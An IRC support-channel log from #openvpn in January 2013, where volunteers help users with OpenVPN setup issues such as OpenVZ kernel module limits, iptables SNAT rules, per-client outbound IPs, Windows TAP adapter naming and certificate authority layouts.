16:53 < desmo> crashTM what's up
16:55 < CrashTM> desmo, im having trouble setting up a openvpn server on my vz based ubuntu vps
16:55 < desmo> whats the trouble?
16:56 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:56 <+pekster> OpenVZ isn't going to give you direct control over tun devices like you expect
16:56 <+pekster> Try a real shell ;)
16:56 < CrashTM> Well at first it was that tun/tap was not enabled but i got that fixed, now it tells me that the ip_tables module is not found when i try to configure it
16:57 <+pekster> !openvz
16:57 <@vpnHelper> "openvz" is (#1) http://wiki.openvz.org/VPN_via_the_TUN/TAP_device to learn bout openvz specific stuff with regards to openvpn or (#2) It is usually less painful to switch to a host with better virtualization technology, eg Xen.
16:57 -!- desmo is now known as fu_fu
16:57 < CrashTM> so i contacted the host, they said that it was also enabled and running for other clients
16:57 <+pekster> Or:
16:57 <+pekster> !openvzlinnat
16:57 <@vpnHelper> "openvzlinnat" is since openvz cant do NAT inside containers, use iptables -t nat -A PREROUTING -i tun0 -j DNAT --to-destination <container.ip>
16:57 <+pekster> !openvznat
16:57 <@vpnHelper> "openvznat" is (#1) a user reported success with this command: iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -j SNAT --to <PUBLIC-IP> or (#2) someone else got it working with: iptables -t nat -A POSTROUTING -s <vpn_subnet>/<netmask> -o eth<public> -j SNAT --to <public ip>
16:57 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 260 seconds]
16:57 <+pekster> There's some reading for you CrashTM. I'd strongly suggest using a VM provider not based on OpenVZ if you want to do OpenVPN tasks
16:58 <+pekster> VZ isn't real virtualization; it's just a glorified chroot
17:00 < dioz> that isn't entirely accurate
17:00 < dioz> but a good generalization from my experience as well
17:00 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
17:00 -!- mode/#openvpn [+o dazo_afk] by ChanServ
17:00 -!- dazo_afk is now known as dazo
17:00 <+pekster> Well, it's got some fancy PID remapping and process magic going on, but it's basically just a chroot with a few bow-ties on top :P
17:01 <+pekster> It's a cool project, just not from OpenVPN's prespective...
17:01 < dioz> true
17:01 < dioz> xen hvm or kvm is what i'd suggest
17:03 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 248 seconds]
17:05 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
17:12 -!- swat [~swat@ubuntu/member/swat] has quit [Quit: Leaving.]
17:13 < CrashTM> well there is not many cheap kvm vps's
17:14 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 256 seconds]
17:15 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
17:16 -!- bjh4_ [~bjh4@ool-4357696f.dyn.optonline.net] has quit [Quit: Leaving]
17:17 -!- bjh4 [~bjh4@ool-4357696f.dyn.optonline.net] has joined #openvpn
17:18 -!- neverme [neverme@201.80.7.30] has joined #openvpn
17:19 < neverme> hi, in order to have multiple outbound ips with openvpn do I need to make several servers or is it possible make 1 and define which outbound ip a given client will use ?
17:20 <+rob0> You asked that yesterday and quit before I could answer.
17:21 <+rob0> And the answer is,
17:21 <+rob0> !notovpn
17:21 <@vpnHelper> "notovpn" is "notopenvpn" is your problem is not about openvpn, and while we try to be helpful, you may have a better chance of finding your answer if you ask your question in a channel related to your problem
17:21 -!- nutron [~nutron@unaffiliated/nutron] has quit [Ping timeout: 264 seconds]
17:21 <+rob0> For example, if Linux, it could be a matter of per-client SNAT rules.
17:23 <+rob0> Or, another choice, which should work in any OS, would be CCD files with ifconfig per client to directly use those IP addresses for the tunnel, and then proxy ARP.
17:24 < neverme> rob0 yes I was short on time thx
17:25 < neverme> I see, so rather then doing a network snat source I would do a targeted snat from client to ip I want to use ?
17:26 < neverme> I will give it a try thanks again rob0
17:26 <+pekster> That's one solution, yes. OpenVPN doesn't care what you do with a packet once it gets passed to the host OS
17:27 <+rob0> I would do the direct bind and proxy ARP approach. I hate NAT.
17:28 <+pekster> As soon as I get more than a single public IP presense, I'll hate NAT too :D
17:28 < neverme> rob0 would you have to have a link to a guide on doing that ? I am familiar doing it on SNAT but that done that way
17:28 <+rob0> Once again, it varies by OS, and the only one I know is Linux.
17:28 < neverme> well I just need to assign different ips to 6 clients and I don't think it will increase
17:29 < neverme> well the server is on centos and the clients are windows xp
17:29 <+rob0> and I did post a proxy ARP solution on the mailing list once
17:29 < neverme> thanks I will look for that
17:30 <+rob0> it was Linux on both ends, but at least the server end would be applicable
17:32 < neverme> well worst case I will just use it with snat which I am familiar with but I will give it a try with ARP and see how different it is
17:33 < neverme> from what you said above it seems easier to manage with ARP
17:33 <+rob0> I think it is.
17:34 <+rob0> Use "rob0 openvpn static ip at home", should find it. I gtg, bbl.
17:34 <+rob0> (search terms)
17:34 < neverme> cool thanks
17:34 -!- defsdoor [~andy@cpc17-sutt4-2-0-cust175.perr.cable.virginmedia.com] has quit [Quit: Ex-Chat]
17:36 -!- Burken [~Burken@78-69-27-5-no194.tbcn.telia.com] has joined #openvpn
17:36 -!- Burken [~Burken@78-69-27-5-no194.tbcn.telia.com] has left #openvpn []
17:36 < neverme> found it on the mailing list thanks a lot rob0
17:41 -!- neverme [neverme@201.80.7.30] has quit [Quit: Leaving]
17:44 < CrashTM> root@35948:~# iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -j SNAT --to-source
17:44 < CrashTM> WARNING: Deprecated config file /etc/modprobe.conf, all config files belong into /etc/modprobe.d/.
17:44 < CrashTM> FATAL: Module ip_tables not found.
17:44 < CrashTM> iptables v1.4.4: can't initialize iptables table `nat': Table does not exist (do you need to insmod?)
17:44 < CrashTM> Perhaps iptables or your kernel needs to be upgraded.
17:45 < CrashTM> any ideas with this
17:46 <+pekster> The system you're on doesn't provide (or expose, as may be the case with OpenVZ) the required kernel modules. netfilter does not work without access to the relevant kernel modules
17:47 < CrashTM> any idea on how to "expose" those modules
17:47 <+pekster> No clue; I'm not familiar with OpenVZ beyond a high-level understanding of how it works (in fact, that's why I choose to not be more familiar with it)
17:48 <+pekster> The reading material I had the bot paste from earlier had some wiki links to OpenVZ's site, if that's useful
17:56 < CrashTM> ok, well can you reccomend a cheap vps host?
17:59 <+pekster> AWS gives you a year free if you're a new customer and stay within the "Free Tier" usage limits
17:59 < CrashTM> AWS?
17:59 <+pekster> You can run 1 VM 24/7 with that
17:59 < CrashTM> does it work with openvpn
17:59 <+pekster> http://aws.amazon.com/free/
17:59 <@vpnHelper> Title: AWS Free Usage Tier (at aws.amazon.com)
18:00 <+pekster> Yes, of course; it's a xen-based virtualization platform
18:00 <+pekster> Drop in a pre-existing VM for the Ubuntu Server (the free community eddition AMI) and install/configure openvpn
18:01 <+pekster> Just be sure you understand the free tier limits, because they'll bill you a-la cart if you exceed the tier limits (and after your free year you pay metered as you would normally)
18:03 < CrashTM> im reading about the free teir but i dont understand most of it lol
18:03 < Crosshair84> hi, I have a problem with de openvpnAS
18:03 < Crosshair84> can you help me?
18:04 <+pekster> !as
18:04 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
18:04 < Crosshair84> yes
18:04 < Crosshair84> but nothin there
18:04 <+pekster> This channel is for the open-source OpenVPN codebase, no the commercial product
18:04 <+pekster> You will not find help with AS here, only OpenVPN
18:05 <+pekster> The commercial side is separate and has their own support structure (they are a company with paid employees. This is a free community channel with voulenteer help)
18:05 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-129.225.wb.wifirst.net] has quit [Ping timeout: 240 seconds]
18:07 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-129.224.wb.wifirst.net] has joined #openvpn
18:14 < dioz> can i bridge a virtual interface?
18:14 < dioz> ether0:0 ?
18:14 < dioz> eth0:0 i mean
18:21 -!- CrashTM [~CrashTM@cpe-98-144-34-109.wi.res.rr.com] has quit [Quit: Peace]
18:28 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-129.224.wb.wifirst.net] has quit [Read error: Operation timed out]
18:31 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-129.223.wb.wifirst.net] has joined #openvpn
18:44 < Suterusu> I think thats how mines workin - But don't qoute me on tht
18:47 -!- joshie [~josh@joshie.net] has quit [Remote host closed the connection]
18:48 -!- joshie [~josh@joshie.net] has joined #openvpn
18:48 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Remote host closed the connection]
18:50 < dioz> i think i'm just gonna make the bridge in the /etc/network/interfaces
18:50 < dioz> so it's started on boot
18:51 < dioz> need to make sure i can get into this beast in a different wayt ho
18:51 < dioz> incase i lock myself out
18:51 < dioz> doubt i will
18:51 < dioz> but i just wanna make sure
18:52 -!- fu_fu [~Adium@c-71-200-223-226.hsd1.fl.comcast.net] has quit [Quit: Leaving.]
18:54 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-129.223.wb.wifirst.net] has quit [Ping timeout: 252 seconds]
18:56 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-136.233.wb.wifirst.net] has joined #openvpn
19:07 <+pekster> dioz: The alias is just a secondary IP on the same device; I don't believe you can treat them separatly from an L2 perspective
19:08 <+pekster> The newer iproute2 utilities don't even show them like that anymore; they just list all the inet addresses assigned to an adapter (either a device or a VLAN; the VLAN is treated as a unique device to the kernel)
19:10 < dioz> well i have a VPS with two ip addresses
19:10 < dioz> i wanted to route one of the ips to a VM i have on a box in a different geogaphical location
19:10 <+pekster> That's doable with policy routing
19:11 < dioz> gonna make the tap0 interface bridge with the eth0
19:11 < dioz> and give the tap0 the second ip
19:12 < dioz> so i don't even need the second virtual interface
19:12 < dioz> can't remember the solusvm login to this vps tho
19:12 < dioz> incase i do something dumb and need serial access
19:12 < dioz> can't find the e-mail in my inbox
19:13 <+pekster> ifconfig is the old way in Linux. 'ip addr' is preferred
19:13 < dioz> yaeh
19:13 < dioz> this is how it was setup from scratch in the /etc/network/interfaces
19:13 < dioz> eth0 and eth0:0
19:13 <+pekster> Oh, yea. I try to avoid such distros when I can ;)
19:18 < thumbs> slackware has ip as well, dioz
19:18 < dioz> huh?
19:19 <+pekster> Anything modern has the ip command; their network config files still tend to use outdated syntax so it never has to change ;)
19:20 < dioz> yaeh i didn't set this interfaces file up the way it is
19:20 < dioz> i'd be using ip if it was me
19:24 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit []
19:38 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
19:47 -!- ch1mk3y [ch1m@ns203993.ovh.net] has left #openvpn []
19:55 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
19:59 -!- gojafe [~rasengan@eyearesee.com] has quit [Quit: Lost terminal]
20:01 -!- Cpt-Oblivious [~Cpt-Obliv@a202101.upc-a.chello.nl] has joined #openvpn
20:12 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 256 seconds]
20:19 -!- Cpt-Oblivious [~Cpt-Obliv@a202101.upc-a.chello.nl] has quit []
20:30 <+dvl> in openvpn, can I add a 'route 10.4.0.0 255.255.255.0', for example, to my *client* config if the server is not already pushing it?
20:31 <+dvl> ^ from another network
20:35 -!- Drone4four [~gnull@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 265 seconds]
20:35 <+pekster> dvl: Sure, the client can do that. The server still needs to route it, of course, but that's not internal to OpenVPN at that point
20:42 -!- Crosshair84 [~Crosshair@nat.crossfone.com.ar] has quit []
21:23 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
21:35 -!- Drone4four [~gnull@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
22:05 -!- fu_fu [~Adium@c-71-200-223-226.hsd1.fl.comcast.net] has joined #openvpn
22:05 < fu_fu> hello
22:07 < fu_fu> i need a bit of help, i upgraded my windows terminal server 2008_r2 to the new version, as well as the AD server, now there is some problem logging in to the TS
22:08 < fu_fu> are there some added auth communications in the new version?
22:08 < fu_fu> i can login as administrator but login to the domain is stopped
22:17 < pppingme> fu_fu do you have ts licenses installed?
22:19 < fu_fu> ya, and license server should be fine
22:20 < fu_fu> i rebooted the servers so they would be sure to get their drivers in order, still waiting
22:20 < pppingme> did it break after you updated the OS, or after you upped it to an AD server?  or did you test in between steps???
22:20 < fu_fu> waiting for them to come back up
22:20 < fu_fu> sorry, confusion.
22:21 < fu_fu> u just updated the OVPN to 2.3 and added two TAPs
22:21 < fu_fu> *I
22:23 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 256 seconds]
22:26 -!- bjh4 [~bjh4@ool-4357696f.dyn.optonline.net] has quit [Remote host closed the connection]
22:28 < fu_fu> i think there may be a problem with my identifying the TAP ID, is it just the name or the ID string used in the config file?
22:29 <+pekster> Not normally, although IIRC you can provide the CLSID of the network adapter in your config file if you want (that's uncommon to do in practice)
22:29 <+pekster> You don't know how your own host is configured?
22:30 < fu_fu> i just added the other adapters and did not need the "dev node "line
22:32 <+pekster> I don't understand why logging into a service is a problem of OpenVPN?
22:32 <+pekster> What does RDP have to do with OpenVPN?
22:33 -!- Drone4four [~gnull@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 246 seconds]
22:36 -!- gladiatr [~sdspence@openvpn/community/support/gladiatr] has quit [Remote host closed the connection]
22:38 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
22:40 < fu_fu> i was just asking if the new revision had any additional traffic allowed over the tunnel
22:41 < fu_fu> it seems to work after i disable the additional TAPs so it must be something in that
22:41 < fu_fu> the RDP connection authenticates to a domain server at the other end of a client tunnel
22:43 <+pekster> "had any additional traffic allowed over the tunnel" <-- what does that mean?
22:46 <+pekster> I mean, 2.3 support IPv6 across the link, and perhaps that's "additional traffic", but I can't really figure out what you're asking
22:46 -!- Drone4four [~gnull@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
22:46 < fu_fu> i could authenticate before i added the TAP interfaces and upgraded
22:47 <+pekster> So the next logical question: is the VPN even up?
22:49 < fu_fu> yes, i have clients connected and pinging
22:50 < fu_fu> i think i found it, the TAP ints seem to be cleared of dns info and windows uses that for auth mapping
22:50 < fu_fu> yup, that did it
22:51 < fu_fu> driver overwrite is all, thanks
22:55 < fu_fu> so what is the standard way to find the ID of the NIC on windows? e.g. "dev node TAP0" <<does this look right?
23:02 <+pekster> No. Use the display name or CLSID (see openvpn.exe --show-adapters to get that list)
23:03 <+pekster> Usually "Local Area Connection X" but you can rename the device. Techncially you could call it 'tap0' if you wanted ;)
23:06 < fu_fu> yes, that is what i did exactly, i dont really use windows all that much so i dont know clsid but thank you for elaborating, i was thinking it might be that (987213002319788123400-812347) type of ID
23:07 <+pekster> Yes
23:08 < fu_fu> cool, well gnight folks, thanks for being here
23:08 -!- fu_fu [~Adium@c-71-200-223-226.hsd1.fl.comcast.net] has quit [Quit: Leaving.]
23:33 -!- Drone4four [~gnull@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 255 seconds]
23:42 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 256 seconds]
23:46 -!- Drone4four [~gnull@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
--- Day changed Thu Jan 10 2013
00:05 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds]
00:12 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
00:14 -!- Friberg [~Friberg@h-223-133.a176.priv.bahnhof.se] has quit [Ping timeout: 260 seconds]
00:14 -!- oskie [~usel@h-254-83.a218.priv.bahnhof.se] has quit [Ping timeout: 260 seconds]
00:14 -!- Friberg [~Friberg@h-223-133.a176.priv.bahnhof.se] has joined #openvpn
00:14 -!- oskie [~usel@h-254-83.a218.priv.bahnhof.se] has joined #openvpn
00:33 -!- Drone4four [~gnull@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 248 seconds]
00:33 -!- ngharo_ [~ngharo@2001:1af8:4400:a049::] has joined #openvpn
00:35 -!- ngharo [~ngharo@2001:1af8:4400:a049:1:2:3:4] has quit [Quit: Reconnecting]
00:35 -!- ngharo_ is now known as ngharo
00:46 -!- Drone4four [~gnull@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
01:26 -!- cosmicgate- [~cosmicgat@113.210.99.83] has joined #openvpn
01:28 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn
01:28 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host]
01:28 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
01:28 -!- mode/#openvpn [+o krzee] by ChanServ
01:33 -!- Drone4four [~gnull@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 264 seconds]
01:42 -!- cosmicgate-- [~cosmicgat@198.147.22.172] has joined #openvpn
01:44 -!- cosmicgate- [~cosmicgat@113.210.99.83] has quit [Ping timeout: 265 seconds]
01:45 -!- bauruine [~stefan@91.236.116.112] has quit [Ping timeout: 256 seconds]
01:46 -!- Drone4four [~gnull@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
02:03 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has joined #openvpn
02:05 -!- Azrael808 [~peter@212.161.9.162] has joined #openvpn
02:05 -!- Azrael808 [~peter@212.161.9.162] has quit [Remote host closed the connection]
02:15 -!- mnathani [~zee@198-84-231-11.cpe.teksavvy.com] has quit []
02:23 -!- brute11k [~brute11k@89.249.235.33] has joined #openvpn
02:23 -!- Devastator- [~devas@177.18.197.67] has joined #openvpn
02:24 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 255 seconds]
02:33 -!- Drone4four [~gnull@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 276 seconds]
02:37 -!- ronsel [~ronsel@dslb-088-074-167-187.pools.arcor-ip.net] has joined #openvpn
02:40 -!- kunji [~kunji@c-68-60-83-138.hsd1.mi.comcast.net] has joined #openvpn
02:45 -!- Drone4four [~gnull@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
03:00 -!- cosmicgate-- [~cosmicgat@198.147.22.172] has quit [Ping timeout: 255 seconds]
03:06 -!- ade_b [~Ade@109.58.166.181.bredband.tre.se] has joined #openvpn
03:06 -!- ade_b [~Ade@109.58.166.181.bredband.tre.se] has quit [Changing host]
03:06 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
03:22 -!- defswork [~andy@141.0.50.105] has quit [Ping timeout: 240 seconds]
03:31 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
03:32 -!- Drone4four [~gnull@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 252 seconds]
03:34 -!- defswork [~andy@141.0.50.105] has joined #openvpn
03:38 -!- Suterusu [~EyeR@unaffiliated/suterusu] has quit [Ping timeout: 248 seconds]
03:46 -!- Drone4four [~gnull@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
03:51 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 248 seconds]
03:51 -!- Suterusu [~EyeR@unaffiliated/suterusu] has joined #openvpn
03:58 -!- Assid [~kvirc@unaffiliated/assid] has joined #openvpn
03:58 < Assid> heya
04:02 -!- Devastator- [~devas@177.18.197.67] has quit [Changing host]
04:02 -!- Devastator- [~devas@unaffiliated/devastator] has joined #openvpn
04:02 -!- Devastator- is now known as Devastator
04:05 < Assid> okay so heres something weird.. i have a windows main server.. which has 2 virtual machines .. both which have a public internet ip address.. and are reachable fine.. 1 of which has openvpn working.. perfectly and i can reach it from a static ip (vpn) address.. the other i am unable to . I cant even ping the vpn gateway or from gateway to client either.
04:06 < Assid> i tried with a disabled firewall.. creating the same rules as the other windows box.. nothing works
04:13 <+pekster> Sounds like there's a difference in configuration between the VMs, or maybe between how the host treats them?
04:13 <+pekster> Clearly something has to be different
04:13 < Assid> pekster: cant find anything thats off...
04:14 < Assid> pekster: can i show you on ammy admin / teamviewer what i mean?
04:14 < Assid> maybe i need a fresh pair or eyeballs on this
04:15 -!- niervol [~krystian@193.106.244.150] has joined #openvpn
04:18 -!- Suterusu1 [~EyeR@host81-156-138-35.range81-156.btcentralplus.com] has joined #openvpn
04:21 -!- Suterusu [~EyeR@unaffiliated/suterusu] has quit [Ping timeout: 256 seconds]
04:21 -!- exed [~maximus@host-88-217-184-122.customer.m-online.net] has joined #openvpn
04:33 -!- Drone4four [~gnull@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 276 seconds]
04:37 -!- Suterusu1 [~EyeR@host81-156-138-35.range81-156.btcentralplus.com] has quit [Ping timeout: 256 seconds]
04:46 -!- Drone4four [~gnull@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
04:50 -!- Suterusu [~EyeR@unaffiliated/suterusu] has joined #openvpn
04:52 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
04:57 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
04:57 -!- genghi [~Adium@p50899732.dip.t-dialin.net] has joined #openvpn
05:09 < genghi> hi… is there a recommended way to have openvpn apply some sort of firewall rules to clients?  For example, can we enforce that a connected client can only reach 192.168.0.5 and not 192.1680.6 on the server network side?
05:14 -!- CEnnis91 [uid3543@gateway/web/irccloud.com/x-glexqzbkdqwtzqzv] has quit [Ping timeout: 256 seconds]
05:15 -!- CEnnis91 [uid3543@gateway/web/irccloud.com/x-uxbspexqfkwdnydz] has joined #openvpn
05:22 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 256 seconds]
05:23 -!- Assid [~kvirc@unaffiliated/assid] has quit [Ping timeout: 244 seconds]
05:28 -!- bauruine [~stefan@91.236.116.112] has joined #openvpn
05:33 -!- Drone4four [~gnull@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 255 seconds]
05:46 -!- Drone4four [~gnull@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
05:52 -!- Suterusu [~EyeR@unaffiliated/suterusu] has quit [Ping timeout: 256 seconds]
05:53 < dropje> genghi: take a look at --learn-address
05:54 -!- swat [~swat@ubuntu/member/swat] has joined #openvpn
06:01 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has quit []
06:01 -!- brute11k [~brute11k@89.249.235.33] has quit [Ping timeout: 240 seconds]
06:01 -!- clu5ter [~staff@unaffiliated/clu5ter] has quit [Remote host closed the connection]
06:01 -!- brute11k [~brute11k@89.249.235.33] has joined #openvpn
06:03 -!- clu5ter [~staff@unaffiliated/clu5ter] has joined #openvpn
06:07 -!- Suterusu [~EyeR@unaffiliated/suterusu] has joined #openvpn
06:10 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-136.233.wb.wifirst.net] has quit [Ping timeout: 265 seconds]
06:12 < genghi> dropje: thanks.. will do
06:33 -!- Drone4four [~gnull@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 244 seconds]
06:40 -!- cosmicgate- [~cosmicgat@198.147.22.172] has joined #openvpn
06:41 -!- cjs226 [~cjs226@99-42-101-89.lightspeed.austtx.sbcglobal.net] has joined #openvpn
06:45 -!- Drone4four [~gnull@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
06:45 -!- bsdgeek [~bsdgeek@91-66-20-106-dynip.superkabel.de] has joined #openvpn
06:47 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has quit [Quit: Sto andando via]
06:54 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
06:56 -!- cosmicgate- is now known as cosmicgate
07:09 < thermoman> let's assume i have 2 vpn servers and some but not all users have to have access to both, others only to one of them
07:10 < thermoman> is it easily manageable that a client-cert for e.g. an admin is accepted at both vpn servers but a client-cert for e.g. a normal user only on one?
07:10 < thermoman> sure i can create a self signed CA etc etc for each server so the admin user ends up with 2 key/crl pairs
07:11 < thermoman> but if this can easily be managed with only one key/crl pair this would be really cool
07:14 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 256 seconds]
07:24 < plaisthos> thermoman: You could use an intermediate ca
07:25 < plaisthos> or add x509 attributes in the certs whihc you check by a script
07:26 < thermoman> you mean with intermediate ca normal users get their cert signed by the intermediate CA and admins get their cert signed by the root CA?
07:27 < thermoman>  /normal users get their cert signed by one of the intermediate CAs/
07:28 -!- fu_fu [~Adium@c-71-200-223-226.hsd1.fl.comcast.net] has joined #openvpn
07:28 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
07:29 < thermoman> plaisthos: ^
07:30 <@ecrist> thermoman: you can use multiple CAs for a single instance of OpenVPN
07:31 <@ecrist> so, you sign admin certs with one CA, user certs with another
07:31 -!- ronsel [~ronsel@dslb-088-074-167-187.pools.arcor-ip.net] has quit [Quit: Dieser Computer ist eingeschlafen]
07:32 -!- Drone4four [~gnull@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 246 seconds]
07:32 < thermoman> sounds complicated
07:33 < thermoman> :)
07:43 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-136.233.wb.wifirst.net] has joined #openvpn
07:45 -!- cosmicgate [~cosmicgat@198.147.22.172] has quit [Ping timeout: 256 seconds]
07:46 -!- Drone4four [~gnull@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
07:49 -!- MarKsaitis [~MarKsaiti@85-189-231-117.v.managedbroadband.co.uk] has joined #openvpn
08:10 -!- Suterusu [~EyeR@unaffiliated/suterusu] has quit [Ping timeout: 256 seconds]
08:16 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 240 seconds]
08:21 -!- MarKsaitis [~MarKsaiti@85-189-231-117.v.managedbroadband.co.uk] has quit [Ping timeout: 248 seconds]
08:23 -!- Suterusu [~EyeR@unaffiliated/suterusu] has joined #openvpn
08:29 -!- ade_b [~Ade@109.58.126.90.bredband.tre.se] has joined #openvpn
08:29 -!- ade_b [~Ade@109.58.126.90.bredband.tre.se] has quit [Changing host]
08:29 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
08:31 -!- mattock is now known as mattock_afk
08:33 -!- Drone4four [~gnull@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 256 seconds]
08:34 -!- mattock_afk is now known as mattock
08:35 -!- genghi [~Adium@p50899732.dip.t-dialin.net] has quit [Read error: Connection reset by peer]
08:46 -!- KaiForce [~chatzilla@adsl-70-228-65-227.dsl.akrnoh.ameritech.net] has joined #openvpn
08:46 -!- Drone4four [~gnull@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
09:02 -!- tyteen4a03 [~T4@n218250229105.netvigator.com] has quit [Quit: Leaving]
09:15 -!- tyteen4a03 [T4@n218250229105.netvigator.com] has joined #openvpn
09:21 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 256 seconds]
09:29 -!- ronsel [~ronsel@dslb-088-074-167-187.pools.arcor-ip.net] has joined #openvpn
09:31 < thermoman> mhh, i can connect to my openvpn 2.1.3 server from windows vista with openvpn-2.3.0 - connection is fine but no traffic goes over the tunnel
09:31 < thermoman> is there something special with windows vista?
09:31 < thermoman> from linux it works
09:31 < thermoman> i can't even ping the remove end of the tunnel
09:31 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
09:32 < thermoman> windows gives inactivity timeout
09:32 -!- niervol [~krystian@193.106.244.150] has quit [Quit: Leaving.]
09:33 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 255 seconds]
09:33 -!- Drone4four [~gnull@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 248 seconds]
09:35 -!- Devastator [~devas@177.18.197.67] has joined #openvpn
09:41 -!- ade_b [~Ade@109.58.126.90.bredband.tre.se] has joined #openvpn
09:41 -!- ade_b [~Ade@109.58.126.90.bredband.tre.se] has quit [Changing host]
09:41 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
09:44 -!- Devastator [~devas@177.18.197.67] has quit [Ping timeout: 252 seconds]
09:46 -!- Drone4four [~gnull@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
09:48 -!- Devastator [~devas@177.18.197.67] has joined #openvpn
09:50 < defswork> is there a mac osx openvpn ui client that supports management interface user authentication ?
09:53 -!- Suterusu [~EyeR@unaffiliated/suterusu] has quit [Ping timeout: 256 seconds]
10:02 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has joined #openvpn
10:06 -!- Suterusu [~EyeR@unaffiliated/suterusu] has joined #openvpn
10:16 -!- Devastator [~devas@177.18.197.67] has quit []
10:19 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
10:22 -!- master_of_master [~master_of@p57B54741.dip.t-dialin.net] has quit [Ping timeout: 265 seconds]
